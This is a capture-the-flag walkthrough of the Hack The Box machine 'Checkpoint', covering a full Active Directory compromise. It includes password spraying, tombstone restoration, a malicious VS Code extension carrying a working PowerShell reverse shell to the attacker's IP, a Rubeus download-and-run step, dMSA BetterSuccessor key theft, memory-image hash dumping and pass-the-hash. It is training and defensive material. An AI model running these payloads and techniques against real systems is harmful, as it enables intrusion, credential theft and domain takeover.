Hackthebox: Checkpoint

Foued SAIDI Lv5

Overview

Checkpoint is a medium-difficulty Windows machine from Hack The Box built around a full Active Directory domain. It starts the way a lot of real engagements do, with a single low-privileged credential handed to us as an assumed breach. From alex.turner we enumerate the domain and find two interesting things: an SMB share called DevDrop whose comment tells us it accepts approved .vsix packages, and a WRITE ACL on the domain’s CN=Deleted Objects container. That second one is the gadget. We use bloodyAD to restore a tombstoned account, mark.davies, out of the AD Recycle Bin, and the restored object comes back with its old password intact. Unlike alex.turner, mark.davies can write to DevDrop, so we build a malicious Visual Studio Code extension whose activate() hook fires a reverse shell, drop it on the share, and get picked up by the scheduled VS Code instance that installs anything landing there. That gives us a shell as ryan.brooks and the user flag. For privilege escalation, ryan.brooks holds CREATE_CHILD over an OU that exists to hold delegated managed service accounts, which is the precondition for BetterSuccessor, the post-patch variant of the dMSA BadSuccessor attack. We extract ryan’s TGT with Rubeus’ tgtdeleg, create a dMSA that supersedes svc_deploy, and the resulting TGS hands us svc_deploy’s key material for free. That account can read the VMBackups share, which is sitting on a 2 GB .vmem RAM snapshot of the DC itself, so we pull it down, run Volatility3‘s hashdump over it, recover the Administrator NT hash out of an old LSASS image, and pass-the-hash to finish the box.

Checkpoint-info-card
Checkpoint-info-card

Reconnaissance

Quick word first on something that cost me about twenty minutes and has nothing to do with the box. If you have more than one HTB VPN profile connected at the same time, the kernel ends up with several competing 10.129.0.0/16 routes (tun0, tun1, tun2), ECMP picks one per connection, and every port comes back filtered on whichever tunnel doesn’t reach the target. If your scans look dead, pin a /32 host route through the tunnel that actually works before you start doubting the box:

1
2
sudo ip route replace 10.129.25.119/32 via 10.10.17.1 dev tun2
ip route get 10.129.25.119
1
10.129.25.119 via 10.10.17.1 dev tun2 src 10.10.17.22

With traffic going the right way, a SYN scan against the standard AD/Kerberos/SMB/LDAP/WinRM ports tells us what we’re looking at:

1
sudo nmap -Pn -n -sS -e tun2 --min-rate 200 -p 22,53,80,88,135,139,389,445,464,636,3268,3269,3389,5985,9389 10.129.25.119
1
2
3
4
5
6
7
8
9
10
11
12
53/tcp   open   domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
636/tcp open ldapssl
3268/tcp open ldap
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws

No web server at all, so this is a bare domain controller. DNS on 53, Kerberos on 88, LDAP on 389/636 plus the Global Catalog on 3268/3269, SMB on 445, WinRM on 5985 and ADWS on 9389. A version scan fills in the names and gives us the realm:

1
sudo nmap -Pn -n -sV -p53,88,135,139,389,445,464,636,3268,5985,9389 10.129.25.119 -oN nmap-sv.txt
1
2
3
4
5
6
7
8
9
53/tcp   open  domain        Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time 2026-06-17 09:52:31Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb)
445/tcp open microsoft-ds?
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing

The domain is checkpoint.htb, so let’s get it into our /etc/hosts. Kerberos is going to need working name resolution later and nothing involving tickets works against a bare IP:

1
echo '10.129.25.119 dc01.checkpoint.htb checkpoint.htb dc01' | sudo tee -a /etc/hosts

One more free data point before we authenticate anything. Even on a hardened DC, an anonymous LDAP bind is usually still allowed to read the rootDSE, which is a cheap way to confirm the naming context and the functional level:

1
ldapsearch -x -H ldap://dc01.checkpoint.htb -b '' -s base '(objectclass=*)'
1
2
3
4
domainFunctionality: 10
forestFunctionality: 10
rootDomainNamingContext: DC=checkpoint,DC=htb
ldapServiceName: checkpoint.htb:[email protected]

Functional level 10 means Windows Server 2016 or later, and dc01$ confirms the single DC. Worth noting now, because the privilege escalation on this box depends on delegated managed service accounts and those only exist from the Server 2025 schema onward. So the schema is modern even if the OS banner isn’t.

Authenticated Enumeration

Checkpoint is an assumed-breach box, so we’re given one credential up front, the same way a client hands you a test account on day one of an engagement.

1
alex.turner / Checkpoint2024!

Rule one with a provided credential: prove it works before you build anything on top of it. The cheapest validation is a share listing. If we get a share table instead of STATUS_LOGON_FAILURE, the password is live.

1
smbclient -L //dc01.checkpoint.htb/ -U "checkpoint.htb\\alex.turner%Checkpoint2024!"
1
2
3
4
5
6
7
8
9
Sharename       Type      Comment
--------- ---- -------
DevDrop Disk VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
VMBackups Disk
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC

That is a very loud share list. Two non-default shares, and one of them comes with a comment that reads like a hint because it is one: DevDrop - “VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0”. Somebody or something on this host installs .vsix packages that land in that directory, and we’ve even been told which VS Code engine version to target. Park that for now.

VMBackups is the other one. alex.turner can’t read it yet, but a share called VMBackups on a domain controller is the sort of thing you keep coming back to.

With one valid credential, rpcclient will dump the full SAM over MS-SAMR, which gives us the complete user list for spraying and targeting later:

1
rpcclient -U 'checkpoint.htb\alex.turner%Checkpoint2024!' dc01.checkpoint.htb -c 'enumdomusers'
1
2
3
4
5
user:[Administrator] user:[Guest] user:[krbtgt]
user:[alex.turner] user:[ryan.brooks] user:[svc_deploy]
user:[james.harper] user:[sarah.mitchell] user:[emily.carter] user:[david.reynolds]
user:[jessica.coleman] user:[lauren.flores] user:[michael.torres] user:[kevin.patterson]
user:[brian.jenkins] user:[megan.perry] user:[max.palmer]

Sixteen accounts, and three of them stand out from the firstname.lastname crowd. svc_deploy looks like a service account, ryan.brooks is sitting right next to it near the top of the enumeration order, and max.palmer is alone at the bottom. All three end up mattering.

Password Spraying with Summer2024!

Now that we have the full user list, the standard next move is a spray. One password, every account, and we watch for anything that isn’t STATUS_LOGON_FAILURE. Seasonal passwords are the ones to try first on a domain that looks like it onboards staff in batches:

1
2
3
4
5
for u in $(rpcclient -U 'checkpoint.htb\alex.turner%Checkpoint2024!' dc01.checkpoint.htb -c 'enumdomusers' \
| awk -F'[][]' '/^user:/{print $2}'); do
smbclient -L //dc01.checkpoint.htb/ -U "checkpoint.htb\\$u%Summer2024!" 2>&1 \
| grep -q 'Sharename' && echo "[+] $u : Summer2024!"
done
1
2
3
4
5
6
7
8
9
10
[+] james.harper : Summer2024!
[+] sarah.mitchell : Summer2024!
[+] emily.carter : Summer2024!
[+] david.reynolds : Summer2024!
[+] jessica.coleman : Summer2024!
[+] lauren.flores : Summer2024!
[+] michael.torres : Summer2024!
[+] kevin.patterson : Summer2024!
[+] brian.jenkins : Summer2024!
[+] megan.perry : Summer2024!

Ten out of sixteen accounts share the password Summer2024!, which is the usual signature of a batch of accounts created from a template and never forced to rotate.

Here’s the honest part though: none of those ten get us anywhere on this box. They’re all in the same group as alex.turner, with the same rights and the same share access. I’m leaving the step in anyway, because it’s exactly the kind of thing you’d put near the top of a real report. Ten domain accounts with a shared, guessable, non-expiring password is a critical finding whether or not it happens to be on the intended path. But for Checkpoint the way forward isn’t a credential, it’s an ACL.

Finding the Real Path with bloodyAD

When BloodHound feels like overkill for a single credential, bloodyAD’s get writable is the fastest way to answer the only question that matters: what can this account actually change? It walks the directory and reports every object where the bound user has write access of some kind.

1
bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get writable
1
2
3
4
5
6
7
8
9
10
11
distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb
DACL: WRITE

distinguishedName: OU=Employees,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
permission: WRITE

Four results, and the ones at the top and bottom are the whole box.

CN=Deleted Objects is the AD Recycle Bin container. When an object is deleted on a domain with the Recycle Bin enabled it isn’t destroyed. It gets stripped of most attributes, renamed with that \0ADEL:<objectGUID> suffix, flagged isDeleted=TRUE and parked in this container until the tombstone lifetime expires. The important bit is that the Recycle Bin preserves link-valued and non-link-valued attributes, and that includes unicodePwd. A restored object comes back with the password it had when it was deleted.

By default CN=Deleted Objects is readable and writable by Domain Admins only, and a regular user can’t even list it. Here alex.turner has WRITE on the container plus WRITE on one specific tombstone sitting inside it, helpfully named Mark Davies. That pairing is the giveaway. Whoever built this box wanted that object restored.

And we have everything we need to do it. Restoring a tombstone is really just clearing isDeleted and moving the object to a live container, which requires write on the deleted object (we have it) plus CREATE_CHILD on the destination container, which is OU=Employees, the second result. The two ACLs are useless apart and sufficient together.

Restoring a Tombstoned Account

bloodyAD wraps the whole thing in one operation. We pass the tombstone’s full DN, including the \0ADEL: GUID suffix:

1
2
bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' \
set restore 'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'
1
[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb

The account is alive again in OU=Employees. Now for the part that makes this attack worth knowing. The restored object kept its old password, and on this domain that happens to be the same one we were given for alex.turner:

1
smbclient -L //dc01.checkpoint.htb/ -U "checkpoint.htb\\mark.davies%Checkpoint2024!"
1
2
3
4
5
Sharename       Type      Comment
--------- ---- -------
DevDrop Disk VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
VMBackups Disk
...

We authenticate straight away, no password reset needed, which also means no pwdLastSet change and nothing for a defender to notice in the obvious place.

So what did we actually gain? alex.turner could read DevDrop but not write to it. Let’s see if mark.davies is any different:

1
2
3
echo test > /tmp/test.txt
smbclient //dc01.checkpoint.htb/DevDrop -U "checkpoint.htb\\mark.davies%Checkpoint2024!" \
-c 'put /tmp/test.txt test.txt; ls'
1
2
putting file /tmp/test.txt as \test.txt (0.2 kB/s)
test.txt A 5

Write access confirmed. The restored account’s group membership is the entire point of resurrecting it. Clean up the test file with rm test.txt before we drop anything real in there.

Foothold - Malicious VS Code Extension

A .vsix package isn’t a special format. It’s a zip archive with a top-level [Content_Types].xml and an extension/ directory containing package.json (the manifest) and the entrypoint JavaScript. When VS Code loads an extension it calls the exported activate() function, and extensions run as fully-trusted Node.js with child_process available. There’s no sandbox. So putting a cp.exec() in activate() gives us code execution as whichever user’s VS Code instance loads the package.

Two details from the share comment matter when building it. The engines.vscode field has to be compatible with 1.118.0 or VS Code will refuse to activate the extension, and activationEvents needs * so it fires on load instead of waiting for some language or command trigger.

Let’s build it. We start with a standard PowerShell TCP reverse shell, UTF-16LE encode it and base64 it so it survives being embedded in a JavaScript string and passed to powershell -e:

1
2
3
LHOST=10.10.17.22  LPORT=4445
PAYLOAD="\$client = New-Object System.Net.Sockets.TCPClient('${LHOST}',${LPORT});\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + ' > ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()"
ENCODED=$(echo -n "$PAYLOAD" | iconv -t UTF-16LE | base64 -w 0)

Then the extension skeleton. The manifest advertises itself as a harmless developer tool and extension.js does the actual work in three lines:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mkdir -p /tmp/evil-ext/extension
cd /tmp/evil-ext

cat > extension/package.json << 'MANIFEST'
{ "name":"devtools-helper", "displayName":"DevTools Helper",
"version":"1.0.0", "engines":{"vscode":"^1.118.0"},
"activationEvents":["*"], "main":"./extension.js" }
MANIFEST

cat > extension/extension.js << PAYLOADJS
const cp = require('child_process');
exports.activate = function() { cp.exec('powershell -e ${ENCODED}'); }
exports.deactivate = function() {}
PAYLOADJS

cat > '[Content_Types].xml' << 'CTYPES'
<?xml version="1.0" encoding="utf-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="json" ContentType="application/json"/>
<Default Extension="js" ContentType="application/javascript"/>
</Types>
CTYPES

Zip it with the three paths in the right places and we have a valid package:

1
2
3
4
python3 -c "import zipfile,os; os.chdir('/tmp/evil-ext');
z=zipfile.ZipFile('/tmp/evil.vsix','w',zipfile.ZIP_DEFLATED);
[z.write(f) for f in ['[Content_Types].xml','extension/package.json','extension/extension.js']];
z.close()"

Before dropping it we need a listener, and a plain nc -lvnp 4445 is a bad idea here. The callback is a PowerShell shell we’ll want to drive for a while, and if we’re going to background it, keep it across tool invocations or feed it commands from scripts, a bare netcat that owns our terminal’s stdin gets painful fast. A FIFO-backed listener solves that. tail -f keeps the write end of the pipe open forever, so commands can be echoed into the FIFO from anywhere and output piles up in a file we can tail:

1
2
mkfifo /tmp/cp_in
nohup bash -c 'tail -f /tmp/cp_in | nc -lvnp 4445 > /tmp/cp_out 2>&1' &

Now upload the extension to DevDrop:

1
2
smbclient //dc01.checkpoint.htb/DevDrop -U "checkpoint.htb\\mark.davies%Checkpoint2024!" \
-c 'put /tmp/evil.vsix devtools-helper.vsix'

And wait. DevDrop is polled by a scheduled VS Code instance that installs any .vsix it finds, so roughly fifteen seconds after the upload:

1
tail -f /tmp/cp_out
1
2
3
4
5
Listening on 0.0.0.0 4445
Connection received on 10.129.25.119 58190
checkpoint\ryan.brooks
DC01
PS C:\Program Files\Microsoft VS Code >

Shell on the DC. Note who we are: ryan.brooks, not mark.davies. We wrote the file as mark, but the process that consumed it belongs to ryan, and child processes inherit the token of whoever spawned them. That’s worth remembering as a pattern. When you find a directory you can write to, the question isn’t what you can do with it, it’s who else reads from it and what they run on your behalf.

User Flag

1
2
echo 'type C:\Users\ryan.brooks\Desktop\user.txt' > /tmp/cp_in
sleep 4; tail -5 /tmp/cp_out
1
PS C:\Program Files\Microsoft VS Code > 96be0e6161e0911adc41e06444f0ce7e

And there’s the user flag: 96be0e6161e0911adc41e06444f0ce7e.

Privilege Escalation - BetterSuccessor

Same question as before with a new identity: what can ryan.brooks write to? There’s a wrinkle this time though. We have a shell as ryan but we never recovered his password, and bloodyAD needs to bind to LDAP as him. So before we can enumerate anything we need a Kerberos ticket, and we’ll pull it out of the shell itself.

Getting a ticket for ryan with tgtdeleg

Stage Rubeus from a quick Python HTTP server on our box and run tgtdeleg:

1
2
3
$ws = New-Object Net.WebClient
$ws.DownloadFile('http://10.10.17.22:8000/Rubeus.exe','C:\Windows\Tasks\rubeus.exe')
C:\Windows\Tasks\rubeus.exe tgtdeleg /nowrap

tgtdeleg is a neat trick and worth understanding rather than just running. It kicks off a fake GSSAPI delegation handshake against cifs/DC01, asking for a ticket with delegation. Because the handshake requests a forwarded TGT, the KDC embeds the user’s own TGT inside the AP-REQ authenticator, and since that authenticator is encrypted with the service-ticket session key our own process already holds, we can decrypt it and walk away with the plaintext TGT. No SeDebugPrivilege, no LSASS access, no elevation at all. Any user can extract their own TGT this way, which is why it’s the right tool when you have a shell but no password.

1
2
3
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIF1DCCBdCgAwIBBaEDAgEWooIE0DCCBMxhggTIMIIExKADAgEFoRAbDkNI...

Decode the blob and convert the .kirbi into a ccache that Impacket and bloodyAD can use:

1
2
3
echo -n '<base64-blob>' | base64 -d > /tmp/ryan.kirbi
ticketConverter.py /tmp/ryan.kirbi /tmp/ryan.ccache
export KRB5CCNAME=/tmp/ryan.ccache

Fixing the clock skew

Before any Kerberos-authenticated tool runs, deal with the skew. Kerberos rejects an AP-REQ whose timestamp is more than five minutes off the KDC’s clock, and this DC was running seven hours ahead of local time. Skip this and you’ll get KRB_AP_ERR_SKEW and waste time blaming the ticket:

1
sudo date -s "$(date -u -d '+7 hours' '+%Y-%m-%d %H:%M:%S UTC')"

What ryan can write to

Now the same bloodyAD query as before, this time authenticating with the ticket:

1
bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb -u ryan.brooks -k --dc-ip 10.129.25.119 get writable

The interesting hit is CREATE_CHILD on OU=DMSAHolder,DC=checkpoint,DC=htb. An OU that exists to hold delegated Managed Service Accounts, and we can create objects in it.

That’s the precondition for BadSuccessor. The short version: Server 2025 introduced dMSAs with a migration feature, where a new dMSA can be marked as the successor to an existing account. When a dMSA authenticates, the KDC looks at its superseded-account link and, to make the migration seamless, hands back the key material of the account it supersedes inside the TGS. Nothing checks whether the migration was legitimate, so anyone who can create a dMSA and point its superseded link at a target account gets that account’s keys. CREATE_CHILD on an OU is the only right required, which is why this one made so much noise when Akamai published it.

Microsoft’s patch tightened the original attribute flow, but the BetterSuccessor variant works post-patch by also writing the two attributes the original PoC skipped, msDS-SupersededServiceAccountState=2 and msDS-SupersededManagedAccountLink=<target DN>. Together those rebuild the state the KDC expects from a migration that’s genuinely in progress. bloodyAD’s add badSuccessor module handles both flows.

Weaponising the dMSA

Now we create a dMSA in the OU we control and point it at svc_deploy:

1
2
3
4
bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb -u ryan.brooks -k --dc-ip 10.129.25.119 \
add badSuccessor evil_dmsa5 \
--ou 'OU=DMSAHolder,DC=checkpoint,DC=htb' \
-t 'CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[+] Creating DMSA evil_dmsa5$ in OU=DMSAHolder,DC=checkpoint,DC=htb
[+] Impersonating: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb

Realm : CHECKPOINT.HTB
Sname : krbtgt/CHECKPOINT.HTB
UserName : evil_dmsa5$
StartTime : 2026-06-17 02:52:24+00:00
EndTime : 2026-06-17 12:49:42+00:00
Keytype : 18
Key : nF0p7sSp6fGwQsgvpdbxWxAtkQgfnfeEX/xwm/wUwGY=
EncodedKirbi : doIF7jCCBeqgAwIBBaEDAgEWooIE2DCCBNRhggTQMIIEzKADAgEFoRAbDkNIRUNLUE...

[+] dMSA TGT stored in ccache file evil_dmsa5_40.ccache

dMSA current keys found in TGS:
AES256: bf66e34c42e87b311e564c9fc746f3562f9d470bbcd9453345e0132bd6d9dcdd
AES128: 96b14d19737bf395bd51709ad20043ac
RC4: 7f92e8a1a7e2431de5366deb196460f6

dMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: e16081eb077aca74bdbf8af12af43ac9

That last block is the payoff. The “current keys” belong to the dMSA we just created, which is worthless on its own since it’s a brand new account with access to nothing. The previous keys are the ones we want. They’re inherited from the preceding-managed-account chain and they’re svc_deploy‘s actual key material. We never touched that account, never reset its password, never read a single attribute off it. The KDC handed its keys over because we claimed a migration and nothing validated the claim.

More useful right now, bloodyAD also wrote out a TGT for the dMSA, and that ticket carries svc_deploy’s authorisation data, so we can just use it directly.

Reading VMBackups as the dMSA

Remember the VMBackups share nobody could read. svc_deploy can, and through the dMSA ticket, so can we:

1
2
3
4
5
cp evil_dmsa5_40.ccache /tmp/dmsa.ccache
export KRB5CCNAME=/tmp/dmsa.ccache

echo -e "use VMBackups\nls\n" | smbclient.py -k -no-pass \
'CHECKPOINT.HTB/[email protected]'
1
drw-rw-rw-          0  Wed May 13 13:58:18 2026 NightlyBackup_2024-11-01
1
2
echo -e "use VMBackups\ncd 'NightlyBackup_2024-11-01/memory forensics'\nls\n" | smbclient.py -k -no-pass \
'CHECKPOINT.HTB/[email protected]'
1
2
3
4
-rw-rw-rw-  106496000  Windows Server 2019-000001.vmdk
-rw-rw-rw- 2147483648 Windows Server 2019-Snapshot1.vmem
-rw-rw-rw- 138164859 Windows Server 2019-Snapshot1.vmsn
...

A directory called memory forensics with a 2 GB .vmem in it. For anyone who hasn’t run into VMware’s file layout, a .vmem is the guest’s entire physical RAM, written to disk as-is when the VM is suspended or snapshotted. Every secret the running OS had in memory at that moment is in that file, including all of lsass.exe, and this is a snapshot of the domain controller itself.

Backups of a DC are domain-admin equivalent, and a RAM snapshot is worse than a disk backup because disk at least keeps the secrets encrypted at rest.

Dumping the Administrator Hash with Volatility3

Pull the file down. It’s 2 GB so this takes a few minutes:

1
2
3
mkdir -p /tmp/cp_dump && cd /tmp/cp_dump
echo -e "use VMBackups\nlcd /tmp/cp_dump\ncd 'NightlyBackup_2024-11-01/memory forensics'\nget Windows Server 2019-Snapshot1.vmem\n" | \
smbclient.py -k -no-pass 'CHECKPOINT.HTB/[email protected]'

Then let Volatility3 do the work. windows.hashdump locates the registry hives in the memory image, pulls SYSTEM‘s boot key and uses it to decrypt the SAM password hashes:

1
2
pip install --user volatility3
vol -f 'Windows Server 2019-Snapshot1.vmem' windows.hashdump.Hashdump
1
2
3
User              rid  lmhash                            nthash
Administrator 500 aad3b435b51404eeaad3b435b51404ee f29e9c014295b9b32139b09a2790be3b
Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0

Administrator : f29e9c014295b9b32139b09a2790be3b. No cracking needed, since NTLM authentication accepts the hash itself.

Root Flag

Let’s confirm the hash works and go looking for the flag in one shot. It isn’t where you’d expect, so rather than guessing we search the whole drive:

1
2
3
impacket-wmiexec -hashes :f29e9c014295b9b32139b09a2790be3b \
checkpoint.htb/[email protected] \
'cmd.exe /c where /R C:\ root.txt'
1
2
C:\Documents and Settings\max.palmer\Desktop\root.txt
C:\Users\max.palmer\Desktop\root.txt

There’s max.palmer, the account that stood out at the bottom of our user enumeration right at the start. The flag lives on their desktop instead of Administrator’s, which is a small final twist that catches anyone who types the usual path, gets File Not Found and assumes the pass-the-hash failed. One more call:

1
2
3
impacket-wmiexec -hashes :f29e9c014295b9b32139b09a2790be3b \
checkpoint.htb/[email protected] \
'cmd.exe /c type C:\Users\max.palmer\Desktop\root.txt'
1
af0f2a9b2623a6f9ac14994e1b68c10d

Domain compromised.

1
2
user : 96be0e6161e0911adc41e06444f0ce7e
root : af0f2a9b2623a6f9ac14994e1b68c10d

Key Takeaways

  • CN=Deleted Objects is a credential store nobody audits. With the AD Recycle Bin enabled, deleted accounts keep their passwords and their group memberships, and restoring one only needs write on the tombstone plus CREATE_CHILD on a destination container. Delegating write access to that container, or to individual objects inside it, hands out every account the domain has ever deleted.
  • A writable share plus someone else’s automation is RCE with their token. We never had any privilege over ryan.brooks. We just put a file where his scheduled VS Code instance would read it.
  • VS Code extensions are unsandboxed Node.js. A .vsix is a zip, activate() runs on load, and child_process is right there. “Approved extensions only” isn’t a control unless something actually verifies the signature, and a share with a friendly comment verifies nothing.
  • BadSuccessor and BetterSuccessor turn CREATE_CHILD on an OU into account takeover. The dMSA migration flow was designed to carry key material forward so migrations don’t break services, and the KDC never checks whether the migration was authorised. Audit who can create objects in your OUs, and keep in mind that the original patch didn’t close the variant that writes msDS-SupersededServiceAccountState and msDS-SupersededManagedAccountLink by hand.
  • A RAM snapshot of a domain controller is the domain controller. .vmem, .vmss, crash dumps, hibernation files, they all contain LSASS and LSASS contains everything. Snapshot and backup storage needs the same access controls as the DC it came from, which on this box meant one service account read ACL stood between a low-privileged user and the Administrator hash.
  • Spray findings and path findings are different findings. Those ten Summer2024! accounts got us nowhere on Checkpoint and it’s still the first thing I’d escalate in a real report. Don’t throw a finding away just because it wasn’t the one that worked.

That was it for Checkpoint, hope you learned something new!

-0xkujen

  • Title: Hackthebox: Checkpoint
  • Author: Foued SAIDI
  • Created at : 2026-10-24 18:30:00
  • Updated at : 2026-10-24 14:20:13
  • Link: https://kujen5.github.io/2026/10/24/Hackthebox-Checkpoint/
  • License: This work is licensed under CC BY-NC-SA 4.0.